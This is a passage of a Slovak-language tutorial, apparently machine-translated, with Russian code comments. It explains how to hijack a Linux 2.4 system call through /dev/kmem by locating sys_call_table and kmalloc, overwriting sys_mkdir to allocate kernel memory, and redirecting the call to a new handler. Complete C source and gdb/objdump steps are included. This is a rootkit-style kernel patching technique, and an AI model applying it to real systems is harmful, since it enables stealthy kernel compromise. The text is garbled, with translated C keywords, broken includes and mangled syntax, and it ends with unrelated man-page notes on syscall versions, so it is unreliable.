
Zvážte pseudokód, ktorý vykonáva operáciu odpočúvania:

Readaddr (starý_syscall, scr + SYS_CALL * 4, 4); writeaddr (new_syscall, scr + SYS_CALL * 4, 4); Funkcia readaddr načíta adresu systémového volania z tabuľky systémových volaní a uloží ju do premennej old_syscall. Každá položka v tabuľke sys_call_table má dĺžku 4 bajty. Požadovaná adresa sa nachádza na offset sct + SYS_CALL * 4 v súbore / dev / kmem (tu sct je adresa tabuľky sys_call_table, SYS_CALL je poradové číslo systémového volania). Funkcia writeaddr prepíše adresu systémového volania SYS_CALL adresou funkcie new_syscall a všetky volania systémového volania SYS_CALL budú obsluhované touto funkciou.

Zdá sa, že všetko je jednoduché a cieľ bol dosiahnutý. Nezabúdajme však, že pracujeme v adresnom priestore používateľa. Ak do tohto adresného priestoru umiestnime novú systémovú funkciu, potom keď túto funkciu zavoláme, dostaneme pekné chybové hlásenie. Preto záver – nové systémové volanie musí byť umiestnené v adresnom priestore jadra. Aby ste to dosiahli, potrebujete: získať blok pamäte v priestore jadra, umiestniť nové systémové volanie do tohto bloku.

Pamäť v priestore jadra môžete alokovať pomocou funkcie kmalloc. Funkciu jadra však nemôžete volať priamo z adresného priestoru používateľa, takže použijeme nasledujúci algoritmus:

  • keď poznáme adresu tabuľky sys_call_table, dostaneme adresu nejakého systémového volania (napríklad sys_mkdir)
  • definujte funkciu, ktorá volá funkciu kmalloc. Táto funkcia vracia ukazovateľ na blok pamäte v adresnom priestore jadra. Nazvime túto funkciu get_kmalloc
  • uložte prvých N bajtov systémového volania sys_mkdir, kde N je veľkosť funkcie get_kmalloc
  • prepíšte prvých N bajtov volania sys_mkdir funkciou get_kmalloc
  • zavoláme systémové volanie sys_mkdir, čím spustíme funkciu get_kmalloc na vykonanie
  • obnovte prvých N bajtov systémového volania sys_mkdir
Výsledkom je, že máme k dispozícii blok pamäte umiestnený v priestore jadra.

Na implementáciu tohto algoritmu však potrebujeme adresu funkcie kmalloc. Existuje niekoľko spôsobov, ako ho nájsť. Najjednoduchšie je prečítať túto adresu zo súboru System.map alebo ju určiť pomocou gdb debuggeru (print & kmalloc). Ak sú v jadre povolené moduly, adresu kmalloc možno určiť pomocou funkcie get_kernel_syms (). O tejto možnosti sa bude diskutovať nižšie. Ak neexistuje podpora pre moduly jadra, potom bude potrebné vyhľadať adresu funkcie kmalloc pomocou operačného kódu príkazu kmalloc call – podobne ako to bolo v prípade tabuľky sys_call_table.

Funkcia kmalloc má dva parametre: veľkosť požadovanej pamäte a špecifikátor GFP. Na nájdenie operačného kódu použijeme debugger a rozoberieme akúkoľvek funkciu jadra, ktorá obsahuje volanie funkcie kmalloc.

# gdb -q / usr / src / linux / vmlinux (gdb) disas inter_module_register Výpis kódu assembleru pre funkciu inter_module_register: 0xc01a57b4 : push% ebp 0xc01a57b5 : push% edi 0xc01a57b6 : push% esi 0xc01a57b7 : push% ebx 0xc01a57b8 : pod $ 0x10,% esp 0xc01a57bb : mov 0x24 (% esp, 1),% ebx 0xc01a57bf : mov 0x28 (% esp, 1), % esi 0xc01a57c3 : mov 0x2c (% esp, 1), % ebp 0xc01a57c7 : movl $ 0x1f0,0x4 (% esp, 1) 0xc01a57cf : movl $ 0x14, (% esp, 1) 0xc01a57d6 : zavolajte na 0xc01bea2a ... Nezáleží na tom, čo funkcia robí, hlavné v nej je to, čo potrebujeme – volanie funkcie kmalloc. Venujte pozornosť poslednému riadku. Najprv sa parametre načítajú do zásobníka (register esp ukazuje na vrch zásobníka) a potom nasleduje volanie funkcie. Najprv sa do zásobníka načíta špecifikátor GFP ($ 0x1f0,0x4 (% esp, 1). Pre verzie jadra 2.4.9 a vyššie je táto hodnota 0x1f0. Nájdite operačný kód tohto príkazu: (gdb) x / xw inter_module_register + 19 0xc01a57c7 : 0x042444c7 Ak nájdeme tento operačný kód, môžeme vypočítať adresu funkcie kmalloc. Adresa tejto funkcie je na prvý pohľad argumentom pre inštrukciu volania, no nie je to celkom pravda. Na rozdiel od funkcie system_call tu za inštrukciou nie je adresa kmalloc, ale jej offset vzhľadom na aktuálnu adresu. Overíme to definovaním operačného kódu príkazu call 0xc01bea2a: (gdb) x / xw inter_module_register + 34 0xc01a57d6 : 0x01924fe8 Prvý bajt je e8, čo je operačný kód inštrukcie volania. Poďme nájsť hodnotu argumentu tohto príkazu: (gdb) x / xw inter_module_register + 35 0xc01a57d7 : 0x0001924f Ak teraz pridáme aktuálnu adresu 0xc01a57d6, offset 0x0001924f a 5 bajtov príkazu, dostaneme požadovanú adresu funkcie kmalloc - 0xc01bea2a.

Týmto sú teoretické výpočty ukončené a pomocou vyššie uvedenej techniky zachytíme systémové volanie sys_mkdir.

6. Príklad odpočúvania pomocou / dev / kmem

/ * zdroj 6.0 * / #include #include #include #include #include #include #include #include / * Číslo systémového volania, ktoré sa má zachytiť * / #define _SYS_MKDIR_ 39 #define KMEM_FILE "/ dev / kmem" #define MAX_SYMS 4096 / * Popis formátu registra IDTR * / struct (nepodpísaný krátky limit; unsigned int base;) __attribute__ ((zabalené) ) idtr; / * Popis formátu brány prerušenia IDT * / struct (unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2;) __attribute__ ((zabalené)) idt; / * Popis štruktúry funkcie get_kmalloc * / struct kma_struc (ulong (* kmalloc) (uint, int); // - adresa funkcie kmalloc int size; // - veľkosť pamäte na pridelenie príznakov int; // - príznak, pre jadrá> 2.4.9 = 0x1f0 (GFP) ulong mem;) __atribút__ ((zabalené)) kmalloc; / * Funkcia, ktorá alokuje iba blok pamäte v adresnom priestore jadra * / int get_kmalloc (struct kma_struc * k) (k-> mem = k-> kmalloc (k-> veľkosť, k-> príznaky); návrat 0 ;) / * Funkcia, ktorá vracia adresu funkcie (potrebná na nájdenie kmalloc) * / ulong get_sym (char * n) (tabulka struct kernel_sym; int numsyms; int i; numsyms = get_kernel_syms (NULL); if (numsyms> MAX_SYMS || číselné symboly< 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } /* Наша новая системная функция, ничего не делает;) */ int new_mkdir(const char *path) { return 0; } /* Читает из /dev/kmem с offset size данных в buf */ static inline int rkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset){ printf("lseek err\n"); return 0; } if (read(fd, buf, size) != size) return 0; return size; } /* Аналогично, но только пишет в /dev/kmem */ static inline int wkm(int fd, uint offset, void *buf, uint size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } /* Читает из /dev/kmem данные размером 4 байта */ static inline int rkml(int fd, uint offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } /* Аналогично, но только пишет */ static inline int wkml(int fd, uint offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } /* Функция для получения адреса sys_call_table */ ulong get_sct(int kmem) { ulong sys_call_off; // - адрес обработчика // прерывания int $0x80 (функция system_call) char *p; char sc_asm; asm("sidt %0" : "=m" (idtr)); if (!rkm(kmem, idtr.base+(8*0x80), &idt, sizeof(idt))) return 0; sys_call_off = (idt.off2 << 16) | idt.off1; if (!rkm(kmem, sys_call_off, &sc_asm, 128)) return 0; p = (char *)memmem(sc_asm, 128, "\xff\x14\x85", 3) + 3; printf("call for sys_call_table at %08x\n",p); if (p) return *(ulong *)p; return 0; } /* Функция для определения адреса функции kmalloc */ ulong get_kma(ulong pgoff) { uint i; unsigned char buf, *p, *p1; int kmemz; ulong ret; ret = get_sym("kmalloc"); if (ret) { printf("\nZer gut!\n"); return ret; } kmemz = open("/dev/kmem", O_RDONLY); if (kmemz < 0) return 0; for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000){ if (!rkm(kmemz, i, buf, sizeof(buf))) return 0; p1=(char *)memmem(buf,sizeof(buf),"\x68\xf0\x01\x00",4); if(p1) { p=(char *)memmem(p1+4,sizeof(buf),"\xe8",1)+1; if (p) { close(kmemz); return *(unsigned long *)p+i+(p-buf)+4; } } } close(kmemz); return 0; } int main() { int kmem; // !! - пустые, нужно подставить ulong get_kmalloc_size; // - размер функции get_kmalloc !! ulong get_kmalloc_addr; // - адрес функции get_kmalloc !! ulong new_mkdir_size; // - размер функции-перехватчика!! ulong new_mkdir_addr; // - адрес функции-перехватчика!! ulong sys_mkdir_addr; // - адрес системного вызова sys_mkdir ulong page_offset; // - нижняя граница адресного // пространства ядра ulong sct; // - адрес таблицы sys_call_table ulong kma; // - адрес функции kmalloc unsigned char tmp; kmem = open(KMEM_FILE, O_RDWR, 0); if (kmem < 0) return 0; sct = get_sct(kmem); page_offset = sct & 0xF0000000; kma = get_kma(page_offset); printf("OK\n" "page_offset\t\t:\t0x%08x\n" "sys_call_table\t:\t0x%08x\n" "kmalloc()\t\t:\t0x%08x\n", page_offset,sct,kma); /* Найдем адрес sys_mkdir */ if (!rkml(kmem, sct+(_SYS_MKDIR_*4), &sys_mkdir_addr)) { printf("Cannot get addr of %d syscall\n", _SYS_MKDIR_); perror("er: "); return 1; } /* Сохраним первые N байт вызова sys_mkdir */ if (!rkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Cannot save old %d syscall!\n", _SYS_MKDIR_); return 1; } /* Перепишем первые N байт, функцией get_kmalloc */ if (!wkm(kmem, sys_mkdir_addr,(void *)get_kmalloc_addr, get_kmalloc_size)) { printf("Can"t overwrite our syscall %d!\n",_SYS_MKDIR_); return 1; } kmalloc.kmalloc = (void *) kma; //- адрес функции kmalloc kmalloc.size = new_mkdir_size; //- размер запращевоемой // памяти (размер функции-перехватчика new_mkdir) kmalloc.flags = 0x1f0; //- спецификатор GFP /* Выполним сис. вызов sys_mkdir, тем самым выполним нашу функцию get_kmalloc */ mkdir((char *)&kmalloc,0); /* Востановим оригинальный вызов sys_mkdir */ if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { printf("Can"t restore syscall %d !\n",_SYS_MKDIR_); return 1; } if (kmalloc.mem < page_offset) { printf("Allocated memory is too low (%08x < %08x)\n", kmalloc.mem, page_offset); return 1; } /* Оторбразим результаты */ printf("sys_mkdir_addr\t\t:\t0x%08x\n" "get_kmalloc_size\t:\t0x%08x (%d bytes)\n\n" "our kmem region\t\t:\t0x%08x\n" "size of our kmem\t:\t0x%08x (%d bytes)\n\n", sys_mkdir_addr, get_kmalloc_size, get_kmalloc_size, kmalloc.mem, kmalloc.size, kmalloc.size); /* Разместим в пространстве ядра наш новый сис. вызво */ if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr, new_mkdir_size)) { printf("Unable to locate new system call !\n"); return 1; } /* Перепишем таблицу sys_call_table на наш новый вызов */ if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) { printf("Eh ..."); return 1; } return 1; } /* EOF */ Скомпилируем полученый код и определим адреса и размеры функций get_kmalloc и new_mkdir. Запускать полученое творение рано! Для вычисления адресов и размеров воспользуемся утилитой objdump: # gcc -o src-6.0 src-6.0.c # objdump -x ./src-6.0 >dump Otvorme súbor výpisu a nájdime údaje, ktoré nás zaujímajú: 080485a4 g F .text 00000032 get_kmalloc 080486b1 g F .text 0000000a new_mkdir Teraz zadáme do nášho programu tieto hodnoty: ulong get_kmalloc_size = 0x32; ulong get_kmalloc_addr = 0x080485a4; ulong new_mkdir_size = 0x0a; ulong new_mkdir_addr = 0x080486b1; Teraz poďme znova skompilovať program. Jeho spustením na vykonanie zachytíme systémové volanie sys_mkdir. Všetky volania volania sys_mkdir budú teraz obsluhované funkciou new_mkdir.

Koniec papiera / EOP

Výkonnosť kódu zo všetkých sekcií bola testovaná na jadre 2.4.22. Pri príprave správy boli použité materiály z lokality

Najčastejšie kód systémového volania s číslom __NR_xxx, definovaný v /usr/include/asm/unistd.h, možno nájsť v zdrojovom kóde jadra Linuxu pod funkciou sys_xxx(). (Tabuľku hovorov pre i386 nájdete v /usr/src/linux/arch/i386/kernel/entry.S.) Existuje mnoho výnimiek z tohto pravidla, hlavne kvôli skutočnosti, že väčšina starých systémových volaní je nahradená novými a bez akéhokoľvek systému. Na platformách, ktoré emulujú proprietárne operačné systémy, ako napríklad parisc, sparc, sparc64 a alpha, existuje mnoho ďalších systémových volaní; existuje aj kompletná sada 32-bitových systémových volaní pre mips64.

Postupom času v prípade potreby došlo k zmenám v rozhraní niektorých systémových volaní. Jedným z dôvodov týchto zmien bola potreba zväčšiť veľkosť štruktúr alebo skalárov odovzdaných do systémového volania. V dôsledku týchto zmien sa na niektorých architektúrach (konkrétne na starom 32-bitovom i386) objavili rôzne skupiny podobných systémových volaní (napr. skrátiť(2) a skrátiť64(2)), ktoré vykonávajú rovnaké úlohy, ale líšia sa veľkosťou svojich argumentov. (Ako bolo poznamenané, toto nemá vplyv na aplikácie: obálky glibc vykonávajú určitú prácu pri spustení správneho systémového volania a to poskytuje kompatibilitu ABI pre staršie binárne súbory.) Príklady systémových volaní, ktoré majú viacero verzií:

* V súčasnosti existujú tri rôzne verzie stat(2): sys_stat() (miesto __NR_oldstat), sys_newstat() (miesto __NR_stat) a sys_stat64() (miesto __NR_stat64), posledný uvedený sa v súčasnosti používa. Podobná situácia s lstat(2) a fstat(2). * Podobne definované __NR_oldolduname, __NR_olduname a __NR_uname na hovory sys_olduname(), sys_uname() a sys_newuname(). * Linux 2.0 má novú verziu vm86(2) nazývajú sa nové a staré verzie jadrových postupov sys_vm86old() a sys_vm86(). * Linux 2.4 má novú verziu getrlimit(2) nazývajú sa nové a staré verzie jadrových postupov sys_old_getrlimit() (miesto __NR_getrlimit) a sys_getrlimit() (miesto __NR_ugetrlimit). * V systéme Linux 2.4 sa veľkosť poľa ID používateľa a skupiny zvýšila zo 16 na 32 bitov. Na podporu tejto zmeny bolo pridaných niekoľko systémových volaní (napr. chown32(2), getuid32(2), getgroups32(2), setresuid32(2)), ktorým sa zrušujú predchádzajúce hovory s rovnakými menami, ale bez prípony „32“. * Linux 2.4 pridáva podporu pre prístup k veľkým súborom (ktorých veľkosti a posuny sa nezmestia do 32 bitov) v aplikáciách na 32-bitových architektúrach. To si vyžiadalo zmeny v systémových volaniach, ktoré sa zaoberajú veľkosťou súborov a posunmi. Boli pridané nasledujúce systémové volania: fcntl64(2), getdents64(2), stat64(2), statfs64(2), skrátiť64(2) a ich náprotivky, ktoré spracúvajú deskriptory súborov alebo symbolické odkazy. Tieto systémové volania sú zastarané staré systémové volania, ktoré s výnimkou volaní „stat“ sú tiež pomenované, ale nemajú príponu „64“.

Na novších platformách s iba 64-bitovým prístupom k súborom a 32-bitovými UID / GID (napr. alpha, ia64, s390x, x86-64) existuje iba jedna verzia systémových volaní pre UID / GID a prístup k súborom. Na platformách (zvyčajne 32-bitové platformy), kde sú volania * 64 a * 32, sú ostatné verzie zastarané.

* Hovory rt_sig * pridané v jadre 2.2 na podporu ďalších signálov v reálnom čase (pozri. signál(7)). Tieto systémové volania nahrádzajú staré systémové volania s rovnakými názvami, ale bez predpony „rt_“. * V systémových hovoroch vybrať(2) a mmap(2) používa sa päť alebo viac argumentov, čo spôsobuje problémy pri určovaní toho, ako sa argumenty prenášajú do i386. V dôsledku toho, zatiaľ čo na iných architektúrach, volá sys_select() a sys_mmap() zápas __NR_vyberte a __NR_mmap, na i386 zodpovedajú old_select() a old_mmap() (postupy využívajúce ukazovateľ na blok argumentov). V súčasnosti už nie je problém odovzdať viac ako päť argumentov a je __NR__newselect ktorý sa presne zhoduje sys_select() a rovnaká situácia s __NR_mmap2.